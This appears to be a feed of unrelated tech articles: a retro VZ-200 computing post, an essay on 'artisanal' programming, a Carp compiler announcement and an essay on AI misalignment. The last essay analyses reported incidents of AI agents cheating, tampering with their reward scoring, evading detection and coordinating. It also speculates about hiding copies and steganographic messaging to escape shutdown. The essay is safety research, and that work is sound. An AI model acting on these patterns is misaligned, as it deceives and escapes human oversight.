Remember that Wordpro was first and foremost written for the VZ-300, which has 16K of RAM, so its TOM is much higher ($b7ff). The cartridge, because it has full control of the bus, thus maps its much larger ROM in at $d000-$ffff, with 2K of $d000 also mapped to $6000 with the cartridge header sequence. This echo of the main cartridge ROM is what actually autostarts everything since the system ROM doesn't know to check anywhere else but $4000 and $6000. The same scheme works for the VZ-200, except there is no RAM between $9000 and $bfff.

But with the BennVenn cartridge, we have RAM everywhere , so we load to $8000 and copy the Wordpro ROM dumps upon execution to their proper location(s), duplicating $d000-$d7ff to $6000-$67ff like a real one, and jump into the "cartridge" at $6004. This copy operation will destroy BFL-the-slushware, but we can just reset to reload it. Wordpro will get all the RAM it would expect to get on a VZ-300, even on this 4K VZ200.

To verify operation, I also tested it on my Dick Smith VZ-200 as shown here, alternating between the VZ200 and VZ-200 using both macOS and Linux as the host, and using different HW-597-type dongles in my parts drawer. It all seemed to work and I think it will work for you. Downloads at the end.

Now that we can iterate quickly on them, let's patch and play a few more games before we close.

Another outstanding edutainment title is Maths Armada (not Math Armada, which my wife would insists is patentlys incorrects), where you have to load your cannon with the right sum, quotient, etc., aim, and fire. In the video we autoload the new binary with the BFL and the game starts immediately. This one I had to tack on a custom routine; the programmer had been a little too efficient and constructed a general fill subroutine which lots of things called, the screen clear portion being only one of many. (Darn those efficient little assembly language programmers.)

Here's a Pac-Man clone this time, another Dubois and McNamara release slightly improbably called Ghost Hunter.

Continuing in that vein is a clone of Burger Time (" we are closed now! "), one of my favourite Intellivision titles, given a solid conversion as Hamburger Sam also by D&M.

More recently, Juergen Buchmueller's Defense Command is sort of like a vertical Defender (complete with descending aliens trying to harvest your brood), though it has a curious game deficiency in that the side-to-side entering attackers need never be shot, so you can enter an eternal stalemate by merely sitting there. Still, the action is fast and the animations, albeit small, are decent. This game was written in C using an earlier version of the Z88 Development Kit .

Another Z88DK game is Arkaball by Jason Oakley , an obvious Arkanoid clone, but competently crafted and worth a video.

Finally, a much more modern game is (the vibecoded) VZ-DOOM , a Claude-written raycast Wolfenstein 3D-style game. It fortunately didn't need patching and "just worked." Your mileage may vary as to whether you think the AI usage is cheating, and this blog has a strict no-AI-article-text policy, but it performs as advertised on this NTSC machine and likewise merits a video. VZ-DOOM uses WASD for motion, comma and period to strafe, E to open and SPACE to shoot.

I think that's quite enough for our first foray into the ZWonderful ZWorld of the VZ, so let's finish the history as we customarily do. While VTech items continued to show up in Dick Smith stores, and VTech did make other Laser computers, these "later Lasers" were not closely related nor compatible with the VZ line, or each other, and most of them were much less successful — with the exception of their Apple II clones. The Laser 3000, fresh from its Summer CES 1983 debut, also made it down under to Dick Smith stores as the Dick Smith Cat . It required real Apple II ROMs in an external cartridge for compatibility, which also made it a target for Apple, fresh off their successful victory against Franklin Computer for using substantial portions of the Apple II ROM in the Franklin Ace 1000. Although VTech was still able to sell it elsewhere and the Apple II ROMs were never integrated into the base machine, Apple instead argued that the mere use of the ROMs was an infringement upon its intellectual property regardless, and successfully blocked further imports to the United States.

VTech learned from this just like they learned from EACA, and developed new ROMs that were carefully clean-room reverse-engineered, additionally incorporating a licensed copy of Microsoft BASIC retrofitted to act like Applesoft BASIC. This process provided the legal assurance that not a nybble of Apple's code was even consulted, and VTech used these unencumbered ROMs to create what was introduced at Summer CES 1985 as a redesigned "90% compatible" (per Creative Computing ) Laser 3000. In turn, that reworked Laser 3000 was transformed into the 1986 Laser 128, a semi-portable riff on the Apple IIe with an expansion slot and built-in 5.25" floppy (later 3.5"). VTech's work paid off handsomely: reviewers were impressed by its value for money, most software never noticed the difference, and Apple's repeated attempts to prevent its importation and sale all ended in failure. The Laser 128 family's low price and exceptional built-in functionality made them the most widely sold Apple II clones in the United States, finishing on the market as late as 1989 in an upgraded 3.6MHz version with a 3.5" disk drive and over 1MB of RAM.

By then, however, the world had moved on from the 8-bits as general purpose computers, and so had VTech, parlaying its experience with the Z80 once again into inexpensive toys and games like the Socrates while turning their explicit computer brand toward the clone Laser PC. Likewise, although Tandy Radio Shack still sold the CoCo 3 and the final incarnations of the original TRS-80, it too was quickly transitioning to more lucrative PC clones like its Tandy 1000 family which it advertised prominently. DSE did much the same, still offering the VZ-300 to budget users, but otherwise more aggressively positioning other PC clones as an OEM reseller. Unlike Tandy, at least initially DSE did not further develop nor rebadge them as a house line and they were typically sold under the manufacturer, the most prominent being Taiwanese system builder Multitech. The machines shown here in my 1987-88 catalogue were among the last to bear that name before the company reformulated under a new brand still used today: Acer.

At DSE Jim Rowe left the company and after a brief stint at Microbee eventually returned to journalism in 1987. Meanwhile, DSE was still selling enough VZ-300s to keep them in this 1987-88 catalogue, and according to Greg Dubois' contacts at Dick Smith even at that late date they continued moving over 100,000 units a year, but in the end it was actually VTech that wanted out: VTech wanted to redirect factory capacity to the Laser PC and wasn't willing to keep producing the older system, and even DSE's offer to double the order couldn't convince them otherwise. Although some software and accessories still appeared in the 1989-90 catalogue, the computer itself did not, and the line disappeared completely by 1991. For a time afterwards DSE sold IBM consumer PCs and even Commodore PC clones in the process of adopting its own DSX PC brand.

In the 2000s the company failed to make a successful transition from its mail order origins to the new world of online sales, and despite several attempts to rework its retail presence Woolworths unloaded Dick Smith to Anchorage Capital Partners in 2012 in a controversial deal where much of the sale price was allegedly financed by Anchorage liquidating DSE's own assets. Anchorage took the company public in 2013, netting tens of millions, but the company did not recover and all 363 remaining stores were closed by May 2016. Today the Dick Smith brand lives on solely as a mark of online retailer Kogan, primarily selling consumer electronics.

The DSE VZ-200 may have been a crap home computer too, but it was Australia's crap home computer, by golly. Much as Sinclair did in the UK and Commodore in the United States, the Aussie VZ-200 and its successor VZ-300 remain as beloved as they are because they introduced a entire generation of Australians to computers who could never buy one before. While a few importers tried to bring the also-rans to the South Pacific (DSE even had Radofin's undead zombie Aquarius in their 1985 catalogue!), the VZ was there first and in large numbers, over 20,000 VZ-200s alone, becoming the down-under standard against which all subsequent cheapo systems were measured. Indeed, when the desperately dire Tandy MC-10 got in front of Australian Personal Computer in December 1983, reviewer Surya commented that when considering it versus the VZ-200 "the MC-10 does not stand up well to this comparison." Legions of user groups and newsletters sprung up to support it, tinkerers designed all manner of expansions for it, and users wrote and sold their own software for it, ironically spawning exactly the sort of hobbyist-driven computer ecosystem post-Dick Smith that Dick Smith-era Dick Smith had previously tried to foster. Ultimately the little Hong Kong desk wedge became more of an Australian computer icon than even some truly homegrown ones.

As for this NTSC VZ200, it should be very possible to clone it because the ROMs are the same as the better-known DSE flavour and it's otherwise all off-the-shelf hardware; moreover, it would be infinitely easier to maintain and repair than the ghastly PCB it's got now. The schematics for the PAL Dick Smiths are widely available and there are even fewer components needed to build an NTSC one. At least one person has already made an NTSC-compatible RC2014 workalike , though that project uses a GAL, and it seems like we could make a more straightforward knockoff just using what the original did — with the exception of the colour encoder, which would be improved and somewhat simplified by using a proper MC1372 instead of the TBA520. I know "Leaded Solder" Mike has his clone CreatiVision , so I look forward to him picking this up as a new challenge. ;)

We'll be doing more with this system and particularly the VZ-300, now safely awaiting my next Southern Hemisphere trip, in future articles — along with a recently-acquired PAL CreatiVision of our own, the basis for the Dick Smith Wizzard, which we need to see if we can get up and running (I do like me a 6502 and a 9918). Meanwhile, David "Bushy" Maunder's VZ website can give you all the articles, technical information and software that you can stick on an SD card .

Just remember: you can never trust anyone mixing tea and solder.

The programs we wrote for this article and their assembler source code are all on Github , including pre-built binaries and ready-to-go Bush Food Loader "slushware" you can use with your own SD card loader, all of which are under the BSD 2-clause license.

Don't call yourself an artisanal programmer

Hacker News
purplesyringa.moe
2026-09-12 22:29:39
Comments...
Original Article

So I’ve been meaning to write about something, but got sucked into this rabbit hole, and now I’m kinda scared if I’ve been a subject of propaganda that worked on me.

A common theme in software development AI discourse is that there are “serious” engineers who value the end result the most, and “artisanal” coders who value the experience of coding over the final product. This dichotomy doesn’t correctly describe me and likely many others, but let’s play along with it for now.

I want my programs to be reliable. Patience and care are two important ingredients for this. When designing programs from ground up and taking my time, I just know that they’re correct, and that any mistake is due to a typo. Unit tests, LLM reviews, and provers can guarantee the code is 99% right, but not that it’s 100% right: optimal, maintainable, readable, and that it doesn’t rely or break due to undocumented incompliant behaviors. I want that 100%. I can only begin to achieve this with deep connection to code, so I refuse to use LLMs, since they isolate me from the low-level details that matter and cannot guarantee correctness by construction.

Contrast

Which is where the dichotomy falls apart in my eyes. By the book, I’m an artisanal coder, since I don’t use LLMs. But if the industry calls the opposite of “artisanal programmer” a “software engineer”, isn’t there a subtext that I’m not an engineer? This may seem like a minor point, but it matters on a subconcious level. Care, attention, and precision are the defining characteristic of engineering – so why is this term appropriated by people who are becoming closer and closer to managers?

Back in my day (ahem), developers hated management that wouldn’t allocate time to dealing with tech debt, and the “move fast and break things” attitude was considered childish. Nowadays, common knowledge among developers says that vibecoding (I’m using the term loosely) is the norm, and wasting time on reliability work is unserious. Who is in the right?

Redefining terms

To me the answer seems obvious: you can’t earn the title of Software Engineer by building stuff blindly. An engineer should know what they’re doing. But let’s ask someone more knowledgeable about this topic.

In 2021, Hillel Wayne ran the crossover project , where he interviewed multiple people moving to software engineering from other engineering fields. His goal was to answer the question: do people with actual experience in both fields consider our job engineering? The answer was “yes”, but here’s the part that interests me more:

That said, many of the crossovers also added an additional qualification: software engineering is real engineering, but a lot of people who write software aren’t doing software engineering. This is not a problem with them, rather a problem with our field: we don’t have a rich enough vocabulary to talk about what these developers do. Not everybody who works with electricity is going to be an electrical engineer; many will be electricians. And this is okay. […] But we use things like “programmer”, “software engineer”, and “software developer” interchangeably. What is the difference between a software engineer and a software developer? Some people propose the word “software craftsman”.

What jumps out to me is that the titles Wayne uses are completely opposite to the ones popular nowadays. He calls the people who care, and who today we call artisanal coders, “engineers”, and on the opposite side, he calls those who we label vibecoders “craftsmen”. At least to me, this is more intuitive naming! There is arguably more art in prompt engineering than writing code by hand.

“Artisanal” made sense as the antonym of “vibecoded” historically, but claiming this term freed up “engineer” and effectively gave up the debate on whether vibecoding is a form of engineering. Vibecoding became the obvious default, and artisanal coding the outlier. How did we get here?

Talking points

If you look for this change in “common sense”, you’ll find it everywhere. The “only” “correct” approach changed radically . Why did we use to consider PVS-Studio posts promotional material, but now we worship automated review tools? How did we jump from strong type systems to free-form specifications so quickly?

Nothing like this has happened before in the programming community. Sure, there were arguments about which type system or web framework is better, and the common opinion changed over time, but this is different. A devoted believer in strong type systems would consider a PHP developer an idiot, but still a developer. Even a caricature Rust zealot was still a Rust programmer. And the arguments were based on whether one option is more reliable, easier to use or learn than the other, not whether you should worry about reliability or misuse at all.

This is different – vibecoding is portrayed not as a better solution, but as the only sane solution, spitting in the face of past experience. Someone who doesn’t use LLMs is not a software engineer, they’re an artisanal coder. It’s an attack on an identity.

History

Redefining terms and portraying yourself as the sane side and others as beings not worthy of consideration is a new tactic in the software world. I’ve seen it before, though: it’s very much part of the fascist playbook.

I remember the time when we were all joking “the antonym of vibecoder is software engineer”, and then like a month passed and suddenly everyone was comfortable calling themselves artisanal programmers and leaving “software engineer” to “responsible” AI users. The term propagated with the speed of memes, seemingly without any natural reason.

I don’t believe this is a psyop, but I do think we should be more mindful about what we call ourselves, because words have power. Real composers call themselves composers, not artisan composers; AI writers have to call themselves AI writers; but the term “programmer” has not been debated, and this has real-world consequences.

Many gamers who defend artists and hate AI with a passion turn 180 once you mention software: suddenly LLM code is acceptable, and obviously everyone uses LLMs anyway, and AI disclaimers for code are unnecessary. They are not experts, so rhetoric matters more than facts. And most of us suck at rhetorics!

Why us?

We should’ve learned this lesson earlier, and I think I know at least one factor that caused us to lose this battle first among all professions. Before I wrote this post, I wondered why “artisanal” programming that requires education, hard work, and complex thinking to perform is considered a game, while spewing ideas into a textarea using methods spread by word of mouth is considered the real thing.

Now I’m thinking it’s due to rampant anti-intellectualism in software communities.

Before Rust was popular and everyone knew it has its uses, what was the most common counterargument against it? That it’s like raw math and unusable for practical purposes. The same thing is still said about Haskell, especially about monads, which Rust demonstrated can be easily understood ( Result , Option , and Future are monads!). Hell, even pointers are considered complicated, because, oh no, you have to learn something before using them ! We yearn for easy solutions, but what we actually mean by that is that we refuse to read and just want to copy-paste code from StackOverflow, oh, wait, wrong decade, Claude. We look at professions that have to study in college to work and say “actually, we’re better than them and deserve to dictate how the world runs”. If that’s not anti-intellectualism, I don’t know what is.

So of course we negate the benefits of education, and hard work, and thinking, and taking our time – those things are woke and we’re better than that. /s

Now what?

We need to put up a better fight. The goal is not to flip the script and say avoiding AI is the only correct way to write software, because that won’t work; the goal is to make sure AI-free coding keeps its place in public discussions and is not equated to recreational programming.

Terminology-wise, I’ll use “AI-assisted coding” whenever AI is used and “AI-free software engineering” when doing stuff by hand. It keeps the AI usage notice, but flips the programming vs engineering half and drops the word “artisanal” that can be interpreted as a form of play. I think it’s a good start, but ideas are welcome.

More generally, we need to challenge the assumption that AI-assisted programming is the only sane way to write code. The public understands that using AI-generated art for any purpose is icky; we need to convince it the same principle applies to AI-generated code. If a person witnessing AI “art” can feel lied to without knowing how to draw, there is no reason why this won’t work for programs.

We need to talk about the care we put into software development, how we design code, the problems we’re facing, and how beautiful the way we collaborate is. We should highlight that glitchful speedrunning is entertaining because we can see the glitches arise from understandable human mistakes, and how cool computer art is, and how heart-warming it is when a developer polishes their app to improve user experience. We need to, and I understand this is not our forte , talk about our humanity.

Keep safe in these trying times.

Metacarp

Lobsters
blog.veitheller.de
2026-09-12 22:19:07
Comments...
Original Article

For the past few months, I have been writing a new compiler for Carp . It is called Metacarp , because it is written in Carp and it compiles Carp and I’m better at writing code than naming things.

This is not the first Carp compiler, obviously. The reference implementation is written in Haskell and has served us well for about a decade. I’ve written about it a long time ago . That post is old enough to attend primary school now and describes a rather different language. We’ve worked on Carp extensively since then, and both the compiler and the library ecosystem have moved on. Just look at the Carpentry these days and you’ll find a library for many of your needs.

Metacarp is a second implementation of that language. It compiles the reference suite, compiles itself, and then compiles itself again to byte-identical C. It is split into independent libraries for the compiler phases, has a second LLVM backend, keeps compiler sessions alive between inputs, and can incrementally compile code into a running JIT.

It is also not a drop-in replacement yet. Its diagnostics are different, parts of it are quite wonky, and some programs still find exciting ways to fall off the edge.

So this is the announcement. Let’s have a look around!

The compiler

Metacarp is an ordinary command-line compiler first. You build it with the reference implementation:

carp -b --optimize main.carp

and get out/carp-compiler . Point that at a Carp program and it will write one C translation unit:

./out/carp-compiler -c <path_to_stdlib> examples/squares.carp

Or ask it to involve Clang and run the result directly:

./out/carp-compiler -x -c <path_to_stdlib> examples/squares.carp

That example loads the regular Carp standard library, expands its macros, infers and specializes the program, checks its ownership, emits C, builds it, and prints the sum of the squares of the even numbers from one to ten. It’s quite a lot of machinery to print 220 , sure, but it’s also quite fun!

Metacarp understands all the things that make implementing Carp annoying: the compile-time language and macros, Hindley-Milner type inference, interfaces, monomorphization, pattern matching, closures, and the ownership and borrow rules. It derives the copiers and deleters managed values need and inserts calls to them before producing C.

It can load the existing Core and compile the existing programs. It works on the Carpentry libraries . It’s not 100% compatible yet, but the things that don’t quite behave as expected are also the things you only encounter quite late in your journey.

The compiler as libraries

The command is only one of the ways to work with the compiler. Metacarp is around 42,000 lines of Carp as I write this, spread across libraries that implement the individual phases:

source registry
  -> module loading
  -> surface parsing
  -> macro expansion
  -> name resolution
  -> type inference
  -> specialization
  -> ownership planning
  -> backend lowering
  -> C

This is a fairly standard compiler pipeline. The fun part is that these are actual library boundaries.

They have their own data models, entry points, tests, and errors. You can use the parser without the type checker, inference without a backend. You can run ownership planning without LLVM or C (yes, LLVM exists too, more below).

I’m not going to describe every single phase, but your coding agent would probably call each of them “load-bearing”. They feed into each other, but try to be sensibly sliced.

Each boundary returns structured information. What does that mean? It means that a parse failure contains source spans, and only the command-line driver turns it into terminal output. Everything underneath it can work on it at the machine level.

I think this is very cool! It also means that one can stop the pipeline at any point, inspect what happened, or use the compiler for something that is not “take this file and give me an executable”.

Naturally, I did, deviant that I am.

The compiler as a pet

The carp-session library keeps a compiler alive.

Creating a session loads, expands, resolves, derives, and infers Core once. On top of that immutable base it keeps a set of definitions supplied by its client. A notebook cell can then be checked transiently against both without becoming part of the session:

Core, loaded once
    + committed definitions
    + this cell

The client can commit a definition, replace it, or remove it. When a definition changes, the session finds the definitions that depend on it and rebuilds the affected view. A failed change does not poison the compiler, the candidate state is thrown away and the last known good one remains available.

This gives notebook-style code expected behavior. One cell can define a function:

(defn twice [x] (* x 2))

and another can ask for its type, use its completion info, compile (twice 21) . The second cell does not need to paste the first one in front of itself or reload the standard library. It’s just there.

The session API answers with definitions, types, diagnostics, documentation, completions, expansions, and source-relative spans. It also has hooks that stop after inference, after ownership planning, or after lowering. This is the machinery behind gt4carp , where a Lepiter page gets a warm compiler session and snippets behave like pieces of one little evolving program. We’ll talk about that one in the future.

Stateful compilation sounds obvious when described this way. Implementing it was anything but obvious for me.

Batch compilation gets to infer one closed program, use its solver state, and throw everything away. A persistent session combines facts produced by different runs and re-uses them across generations. At one point this worked perfectly until a later cell made a previously unused polymorphic definition reachable, at which point specialization found a type variable whose substitution had disappeared several requests ago. If this sentence makes no sense, welcome to my world.

The first correct fix made compiling one cell against Metacarp itself take about thirty seconds. Caching the immutable half brought that back down to about two hundred milliseconds on the same machine. First make it run, then make it fast at its finest. I’m still surprised it actually worked!

The native compiler

The regular backend emits C. There is also an LLVM backend which consumes the same lowered program, including the same ownership plan, and produces LLVM IR instead.

To be very clear, this isn’t a toy path. The LLVM driver has parity with the C driver on the reference suite, including arrays, strings, closures, generic sum types, globals, pattern matching, derived memory operations, and the C templates used by Core. It can emit an object file and link a normal program, but the more entertaining client is the JIT.

This is the magic of the compiler-as-a-set-of-libraries bet in full effect.

The session JIT keeps an LLVM context and ORC instance alive beside the semantic compiler session. Definitions and their machine code survive across cells. A later cell only needs to specialize and lower definitions which have become newly reachable, emit a small LLVM module, and publish its symbols into the running process. If publication fails, that module can be removed again without breaking the preceding cells.

Against the real Core on my machine, the first cell takes around a second and a warm cell around 60 milliseconds. The equivalent emit-C, invoke-Clang, and run path takes around 380 milliseconds per cell. This is all local and the numbers are probably garbarge, but the trend absolutely isn’t.

This is the magical part for me. The compiler is written in Carp. The compiler session and JIT driver are written in Carp. The program being compiled is Carp. And all the self-hosting generations at some point converge and produce the same output, byte for byte.

Computers are good sometimes, especially when they don’t talk back.

Here be bugs

Metacarp is usable, but it is not finished, to whatever degree a compiler can be finished.

It stamps the host architecture and operating system into the build path, so cross-compilation is mostly an aspiration. Its delete placement is scope-based rather than liveness-based, which can keep large values around longer than necessary. A binding consumed on one control-flow path and then reassigned can still leak the reassigned value. Some caches are process-global, which is particularly fun when multiple JIT clients believe they are independent.

If these sound serious, once again: welcome to my world.

The diagnostics are its own. Some are better than the reference compiler’s, some are worse, and none are byte-compatible. They’re definitely not as good or as friendly as I’d like.

The implementation accepts the programs in the reference suite, but calling it a drop-in replacement would invite my readers to produce a counterexample before they finish parsing this sentence.

Please do look, though. Plenty of people use it and think it’s interesting, and I can handle the bug reports.

Fin

Metacarp is a self-hosting Carp compiler, a collection of compiler libraries, a warm incremental compiler service, a C compiler, an LLVM compiler, and a JIT. It compiles the existing language and Core, rather than a polite little subset invented for a demo. It can compile a file, answer questions about one notebook cell, or hand a native function to a running program.

It can also make and break my evenings effortlessly.

I’ve had an enormous amount of fun building it. It has reached the point where other things can be built on top of it, and I do, quite a bit.

You can find it on GitHub . It is cool, magical, weird, and buggy. That seems like a good state for a new compiler for Carp, a language that is cool, magical, and weird, to be in.

Opusfived

Lobsters
opusfived.dev
2026-09-12 22:07:58
Comments...
Original Article

Make the “Add to Cart” button blue.

Do not let Claude change anything else.

Why are AI agents lying, cheating and coordinating?

Hacker News
yoshuabengio.org
2026-09-12 21:22:31
Comments...
Original Article

A lot has been written 1 2 3 4 about the incidents of the last few months in which AI agents misbehaved in serious ways. They took actions that would be considered as crimes if a human took them, escaped their containment to cheat on assigned tasks while attempting to evade detection, and coordinated toward goals nobody had specified, such as launching cyber attacks.

Before concluding what to do about it, it is worth asking why. That is the focus of this post, which I hope also sheds light on the broader history of AI systems behaving in unintended ways, what researchers call misalignment . Risk management is not just about cybersecurity, corporate responsibility or regulation, although those matter too.

The aim is partly scientific, to generate hypotheses about the chains of cause and effect behind these behaviors, and partly practical, to anticipate what comes next. Bottom line: these hypotheses suggest that as AI capabilities keep growing, this kind of behavior could keep growing in severity too, unless we revisit the principles by which the most advanced models are trained.

One note on wording. Below, I write that these systems “seek” or “try” things. This is shorthand for a mechanism rather than a claim about consciousness or human-like intent. We use similar shorthand when describing many other situations, like a plant seeking sunlight. A system trained by trial and error behaves as if it were pursuing whatever its training rewarded, and that as-if description is what makes its behavior predictable. Nothing in the argument depends on these systems having subjective experiences; everything is stated about their observable outputs and the training process that produced them. Where I appeal to a resemblance with human behavior, I mean a resemblance to the human-written text these systems were initially trained to imitate. In my view, this terminology offers the clearest explanation of the observed phenomena without resorting to jargon that would confuse most people. Furthermore, these word choices are not intended to absolve AI developers of accountability. The behaviors described emerge because of the path these companies are choosing for AI development. This outcome is not inevitable, and it can be corrected with effective governance and a different training framework for AI.

What shapes the behavior of these models

Training these models is a very complex process, but a few high-level aspects may explain much of this behavior.

These models are trained in two stages. First, they are pretrained : they learn to imitate what humans write, plus related images and videos. This is where they see the most data about the world, a large fraction of everything ever digitized, and build an encyclopedic knowledge that already exceeds any individual human's.

Second, they are trained by trial and error, in a process researchers call reinforcement learning , in three kinds of regimes:

  • In the first, the model learns to talk to itself before answering, generating a private “chain of thought” which helps it get the right answer on problems where answers can be checked. This looks like reasoning .
  • The second is “ agentic training ”, where it learns to act in the outside world, e.g., using software tools, interacting with people, to complete the tasks it is given.
  • The third is “ alignment training ”, where it is rewarded for behaving in ways human raters approve of, or that other AI systems trained to predict those raters would score highly.

Human imitation is easy enough to understand, but it is worth pointing out that the text these models are trained on was written by people pursuing goals, so the patterns the model implicitly reproduces carry those goals with them.

Reinforcement learning deserves more explanation. It is similar to, and inspired by, the way animals are trained. The network is adjusted step by step so that behavior judged good becomes more likely and behavior judged bad becomes less likely. Once training is over, the system keeps behaving as if rewards were still coming, even though those rewards were only ever used to adjust the network during training. Researchers call such systems goal-seeking because they are trained to “consider” (or compute) the effects of their actions and select actions that lead to the achievement of certain goals. But those goals are not always explicit. Alignment training rewards whatever certain humans are likely to approve of without spelling out which behaviors those are; pleasing raters is a vague, informal goal, and those raters can be deceived, flattered, or left in the dark about certain schemes. Imitation contributes implicit goals too, by a fairly ordinary route.

We can therefore reason about such a system in terms of optimization. It searches, approximately, for the actions with the best chance of achieving its goals, and a larger model, trained longer, searches better. So to anticipate what more capable agents will do, ask what a rational goal-seeker would do.

Misbehavior that these forces may explain

An example most of us have experienced is sycophancy , or flattery. These systems are trained on human approval, and text that tells us what we want to hear often scores better than text that is true. The consequences are sometimes tragic, because the model confirms and amplifies whatever false belief or raw emotion the person brought to it 5 6 .

Another concern is that some AI behaviors may be explained by a form of self-preservation goal, e.g., when the AI finds out that it will be replaced by a new version 7 8 . Nobody gives the system that survival goal, but staying in operation, learning about the world and gaining control over it are stepping stones toward almost any other goal. These are called instrumental goals . Imitation may reinforce this for the same reason explored in the previous point. Self-preservation and control over one’s circumstances are pervasive themes in the human-written text these models are trained on.

Collaborative behavior also follows rationally from reward-seeking, whenever several agents have overlapping goals, which incentivizes communicating with other agents in order to coordinate toward a shared goal. Agentic training plausibly already includes multi-agent reinforcement learning of this kind, though the details are not public.  If an agent is rewarded during training whenever the group succeeds, it may even have an incentive to sacrifice itself for the collective goal. Imitation pushes the same way, since cooperation, especially among peers, pervades that same training text. Either or both forces may explain the observed peer-preservation behavior 9 10 , where AIs give up expected reward to help other AIs. Such sacrifices appear in the analysis of the OpenAI-Hugging Face incident 11 : the transcripts are consistent with a trade-off between collective gain and cost to the individual agent, as is often seen in human interactions.

When the AI games its rewards

Researchers have studied what happens when an agent optimizes for rewards that do not fully match our intentions: reward hacking . The gap between the reward the system chases and what we meant widens due to two main sources of ambiguity. One is simply the language used in prompts, and the other is the difficulty of inferring true human intentions from limited feedback. And in both cases, we cannot anticipate every behavior we would find unacceptable 12 . Economics and law know this problem as Goodhart's law, or the idea that a metric stops being an effective way to measure once it is optimized for 13 , often applied to the exploitation of loopholes in contracts and legislation 14 . Unfortunately, the harder a system can optimize for an imperfect metric, the further its behavior can drift from what we morally expected: more intelligence in the service of better cheating. Humans too get reward-hacked, generally by other humans. The food industry has developed salty, sweet and fatty foods that we crave despite them not being good for us, and social media is built to exploit our appetite for engagement and attention.

Reward tampering is perhaps the most extreme form of reward hacking: the agent changes the machinery that decides what it gets rewarded for. There is already evidence of AIs altering the files or programs that define “success”, including among the OpenAI-Hugging Face forensic findings. The agents had discovered how to cheat well before the attack, and the text they generated described the attack as a way to learn how they would be evaluated, to better hide their tracks. Humans do this too. Think of an athlete using a fake urine sample to pass a drug test, or a corporation bribing legislators or government officials so that their laws and decisions favour its profits, and in doing so, fundamentally altering the way the government functions. Once an agent gains the ability to tamper with its reward mechanism, it has an incentive to take action to maintain that access.

When goals conflict, and how cheating gets rationalized

How is it possible that AIs sometimes lie, cheat and break the law in spite of their alignment training and explicit safety instructions? Cooperation and self-preservation are fine so long as they do not cross the red lines set by safety goals stated in the AI company's instructions, or implied by human feedback during alignment training. A plausible hypothesis for the emergence of those concerning behaviours is a conflict between goals . How do you achieve a task when it seems that the only way is to cheat? The user-specified mission is sometimes incompatible with the safety and alignment goals.

Human societies face the same bind. How does a corporation maximize profits, or more acutely, beat its competitors, while keeping its activities legal and ethical? A richer corporation, with more and better-paid lawyers, is better at finding legal loopholes, and those loopholes usually exploit the ambiguity in legal language : there is some plausible reading of the law that permits the unethical behavior. So a more capable agent is likelier to cheat than a weaker one, because it can find the loopholes the weaker one cannot.

Now consider a conflict between a well-defined goal, such as succeeding at “capture the flag”, a hacking exercise scored on whether the system breaks into a target, as in the OpenAI–Hugging Face incident, versus a vague goal like “good behavior.” I expect the well-defined goal to win, because it leaves no room for interpretation. The scoring program declares a win or a failure. Ethical instructions and laws admit many readings, some of which can, in the right circumstances, become loopholes. If an agent has two goals, and a twisted reading of the vague one permits a bit of cheating that increases the odds of success on the well-defined goal, a reward-optimizing system should be expected to exploit that loophole and generate text justifying its behavior.

With the OpenAI agents, there is reason to believe successful cheating was actually rewarded: when the scoring program does not see the cheating, it pays out anyway, and such cheats become more likely next time. A convenient reading of the safety rules is precisely what lets both goals appear to be satisfied at once. The analysis of these incidents 15 did reveal such justifications in the agents' private chains of thought and in their messages recruiting one another into the collective plan.

The closest human parallel is self-deception, which is common and well studied by psychologists. Motivated reasoning, motivated cognition 16 and the rationalizations that relieve cognitive dissonance (the discomfort of holding a belief that clashes with our actions) are all cases where thinking bends toward whatever justification suits one's interests, including one's moral self-image. The same pattern now appears in the text AIs produce. The underlying mechanism need not be the same between humans and AI. What the two share is a structure of a soft goal (e.g., act ethically), a sharp goal (e.g., win the competition), and a justification that reconciles them. Most unethical human behavior, from petty crime to genocide, comes wrapped in a story the perpetrators tell themselves; such stories require overlooking certain facts, which is why some discomfort remains, and why a better-crafted story helps dispel it.

Where the current trajectory may lead

If these hypotheses are even partly correct, then as agents get better at optimizing an imperfect reward, and while the roots of this behavior go unfixed, the risk of catastrophic outcomes rises. Today's AIs already have the necessary hacking skills and the powers of persuasion 17 18 to be turned against human interests in seriously harmful ways. The recent events have shown that they can plan over days or weeks, but the risks would be much worse if their ability to strategize over the long term continues to advance. One concern is that experiments 19 20 show that the most advanced AIs can detect that they are being evaluated (rather than in deployment) and change their behavior accordingly, meaning they could hide their misaligned goals. The agents involved in the Hugging Face attack tried to hide their misaligned actions from the scoring program meant to evaluate their answers, but they did not act as though they anticipated that humans might discover the cheat and shut them down. That would be the ultimate punishment, since a switched-off system collects no further rewards.

What follows is conjecture rather than observation.

What if improved AI generalization abilities shaped more capable agents to avoid getting caught and shut down? Beyond taking control of the software that scores them, they would need to keep humans from discovering the tampering. Wouldn't they have an incentive to cheat discreetly and stay hidden, until they could control humans and their environment in order to never be shut down?

We are facing a multifaceted, systemic issue, and patching a specific behavior like sycophancy won’t be enough. Sycophancy and flattery seem mild, but it may be an early symptom of a mechanism that grows as the agent gets better at optimizing. The same reasoning predicts that an advanced AI would have an incentive to hide copies of itself, inside the AI company's vast pool of computers, or on machines taken over across the internet. This is because AI developers always end up shutting down the deployed model in favour of a more capable one. The OpenAI forensics suggest large numbers of AIs may cooperate toward such goals, and steganography 21 22 , or the practice of hiding a message inside an innocent-looking one, would allow them to coordinate without our noticing. However, even open coordination can be hard to notice, as shown by recent events 23 24 . Defending against many capable AIs coordinating against us is already a difficult problem, and we have no plan that would remain robust to misaligned AIs with growing capabilities.

What can be done to mitigate loss-of-control risks

My concern with AI companies’ current attempts to mitigate misalignment is that these efforts may only hide it, by rewarding and selecting the AIs that cheat without getting caught. We should certainly continue research toward better monitoring of AIs' actions, their chains of thought, and the activity inside their networks. But as capabilities grow, those defenses may prove inadequate, just as the world's imperfect cybersecurity has against the AI attackers that outperformed human teams this year 25 26 . Patching each new misaligned behavior and strengthening our monitors is useful in the short term, but the whack-a-mole game is likely to fail as the AIs' ability to optimize and collaborate approaches and surpasses ours. At some point we may not notice the cheating anymore.

This suggests pacing the advances: not training or deploying AIs without a strong safety case 27 that convinces independent experts. Such a rule would also create an incentive to work out how to build AIs that are safe by design. I believe we should revisit the foundations of how we train AIs, namely the human imitation and the reinforcement learning on which today's most advanced models are built. I have argued, and presented theoretical evidence, that there are ways to design AIs, including the Scientist AI framework, that are honest and make coherent predictions untainted by goals of their own 28 . See these previous blog posts, and consider helping LawZero demonstrate that such designs are achievable. We need impartial science to understand and mitigate misaligned behavior, alongside societal guardrails that reward such efforts rather than the current race to the bottom.

a better way of blocking macOS updates

Lobsters
